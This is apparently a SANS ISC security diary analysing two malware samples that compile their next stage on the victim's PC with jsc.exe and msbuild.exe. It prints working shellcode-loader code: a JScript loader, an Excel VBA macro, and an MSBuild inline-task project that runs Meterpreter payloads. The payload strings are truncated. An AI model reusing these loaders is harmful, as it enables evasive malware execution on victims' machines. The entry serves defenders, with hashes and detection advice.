Malware Samples Compiling Their Next Stage on Premise
I would like to cover today two different malware samples I spotted two days ago. They have one interesting behaviour in common: they compile their next stage on the fly directly on the victim's computer. At a first point, it seems weird but, after all, it’s an interesting approach to bypass low-level detection mechanisms that look for PE files.
By reading this, many people will argue: “That's fine, but I don’t have development tools to compile some source code on my Windows system”. Indeed but Microsoft is providing tons of useful tools that can be used outside their original context. Think about tools like certutil.exe[1] or bitsadmin.exe[2]. I already wrote diaries about them. The new tools that I found “misused” in malware samples are: "jsc.exe" and "msbuild.exe". They are chances that you’ve them installed on your computer because they are part of the Microsoft .Net runtime environment[3]. This package is installed on 99.99% of the Windows systems, otherwise, many applications will simply not run. By curiosity, I checked on different corporate environments running hardened endpoints and both tools were always available.
jsc.exe is a JScript Compiler:
msbuild.exe is a tool to automatically build applications. Since the version 2013, it is bundled with Visual Studio but a version remains available in the .Net framework:
Both are located in C:\Windows\Microsoft.NET\Framework\vx.x.xxxxx\ (check the version installed on your computer).
Let's have a look how they are (ab)used. The first sample is a JScript script (SHA256:e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e) with a VT score of 13/58[4]. It is not obfuscated at all (if it was the detection score could be much lower) and does the following actions:
It moves and resizes the current window to make it invisible then it decodes a chunk of Base64 encoded data. It searches for an existing .Net runtime environment and builds the absolute path to jsc.exe:
function findJSC() { var fso = new ActiveXObject("Scripting.FileSystemObject"); var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\"; var jscPath = ""; if(!fso.FolderExists(comPath)) { return false; } var frameFolder = fso.GetFolder(comPath); var fEnum = new Enumerator(frameFolder.SubFolders); while(!fEnum.atEnd()) { jscPath = fEnum.item().Path; if(fso.FileExists(jscPath + "\\\\jsc.exe")) { return jscPath + "\\\\jsc.exe"; } fEnum.moveNext(); } return false; }
If one is found, it compile the Base64 decoded data (SHA256:29847be3fef93368ce2a99aa8e21c1e96c760de0af7a6356f1318437aa29ed64) into a PE file and executes it:
var fso = new ActiveXObject("Scripting.FileSystemObject"); var objShell = new ActiveXObject("WScript.shell"); var js_f = path + "\\\\LZJaMA.js"; var ex = path + "\\\\LZJaMA.exe"; var platform = "/platform:x64"; objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0); while(!fso.FileExists(ex)) { } objShell.run(ex, 0);
The executed command is (in my sandbox):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /out:\\LZJaMA.exe /platform:x64 /t:winexe %TEMP%\LZJaMA.js
The extracted file (LZJaMa.js) is another JScript that contains another Base64-encoded chunk of data. It is decoded and injected in the current process via VirtualAlloc() & CreateThreat() then executed:
function ShellCodeExec() { var MEM_COMMIT:uint = 0x1000; var PAGE_EXECUTE_READWRITE:uint = 0x40; var shellcodestr:String = 'TVpBUlVIieVIg+wgSI ... ' var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr); var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); var hThread:IntPtr = IntPtr.Zero; var threadId:UInt32 = 0; // prepare data var pinfo:IntPtr = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } try{ ShellCodeExec(); }catch(e){}
The injected malicious payload is a Meterpreter (SHA256:6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27)[5].
The second sample uses msbuild.exe. It's an Excel sheet (SHA256:452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d)[6] with a VBA macro. Classic behaviour: the victim is asked to authorize the macro execution. In this case, the payload is again Base64-encoded but it is stored directly in some cells that are read and their content concatenated:
cwd = Application.ActiveWorkbook.Path fullPath = "c:\windows\tasks\KB20183849.log" text = Worksheets("Sheet1").Cells(500, "A").Value text1 = Worksheets("Sheet1").Cells(501, "A").Value text2 = Worksheets("Sheet1").Cells(502, "A").Value text3 = Worksheets("Sheet1").Cells(503, "A").Value text4 = Worksheets("Sheet1").Cells(504, "A").Value text5 = Worksheets("Sheet1").Cells(505, "A").Value text6 = Worksheets("Sheet1").Cells(506, "A").Value text7 = Worksheets("Sheet1").Cells(507, "A").Value text8 = Worksheets("Sheet1").Cells(508, "A").Value text9 = Worksheets("Sheet1").Cells(509, "A").Value text10 = Worksheets("Sheet1").Cells(510, "A").Value text11 = Worksheets("Sheet1").Cells(511, "A").Value text12 = Worksheets("Sheet1").Cells(512, "A").Value text13 = Worksheets("Sheet1").Cells(513, "A").Value text14 = Worksheets("Sheet1").Cells(514, "A").Value Full = text + text1 + text2 + text3 + text4 + text5 + text6 + text7 + text8 + text9 + text10 + text11 + text12 + text13 + text14 decode = decodeBase64(Full) writeBytes fullPath, decode
The decoded Base64 data is a Microsoft project file (think about something like a Makefile on UNIX) that contains all the details to compile the malicious code:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="Debug"> <ClassExample /> </Target> <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > <Task> <Code Type="Class" Language="cs"> <![CDATA[ using System; using System.Reflection; using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System.Text; public class ClassExample : Task, ITask { [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] public delegate Int32 runD(); [DllImport("kernel32.dll")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); const int SW_HIDE = 0; const int SW_SHOW = 5; public override bool Execute() { Start(); return true; } private void Start() { string str = ("kJBNWkFSVUi ... "); byte[] buff = Convert.FromBase64String(str); var handle = GetConsoleWindow(); ShowWindow(handle, SW_HIDE); GCHandle pinnedArray = GCHandle.Alloc(buff, GCHandleType.Pinned); IntPtr pointer = pinnedArray.AddrOfPinnedObject(); Marshal.Copy(buff, 0, (IntPtr)(pointer), buff.Length); uint flOldProtect; VirtualProtect(pointer, (UIntPtr)buff.Length, 0x40, out flOldProtect); runD del = (runD)Marshal.GetDelegateForFunctionPointer(pointer, typeof(runD)); del(); } } ]]> </Code> </Task> </UsingTask> </Project>
The decoded data (SHA256:e9303daa995c31f80116551b6e0a2f902dc2b180f5ec17c7d3ce27d9a9a9264a) is detected by only one AV as... another Meterpreter.
The project is compiled and executed via msbuild.exe directly from the macro:
'Dim fso As Object 'Set fso = CreateObject("Scripting.FileSystemObject") 'Dim oFile As Object 'Set oFile = fso.CreateTextFile(fullPath) 'oFile.Write decode 'oFile.Close Set fso = Nothing Set oFile = Nothing Set oShell = CreateObject("WScript.Shell") oShell.Run "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe C:\windows\tasks\KB20183849.log" Application.Wait (Now + TimeValue("0:00:20")) Kill "C:\Windows\tasks\KB20183849.log"
Note that in this case, the macro does not try to find a valid .Net runtime, the version is hardcoded. Targeted attack?
Tools like 'jsc.exe' and 'msbuild.exe' are good IoC's because they aren't used by regular users. Execution of such processes is easy to spot with tools like Sysmon or, better, prevent their execution with AppLocker. Especially if they are executed from Excel, Word, Powershell, etc.
[1] https://isc.sans.edu/forums/diary/A+Suspicious+Use+of+certutilexe/2351
[2] https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281
[3] https://dotnet.microsoft.com/download
[4] https://www.virustotal.com/gui/file/e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e/detection
[5] https://www.virustotal.com/gui/file/6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27/detection
[6] https://www.virustotal.com/gui/file/452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Frankfurt | Dec 9th - Dec 14th 2024 |
Comments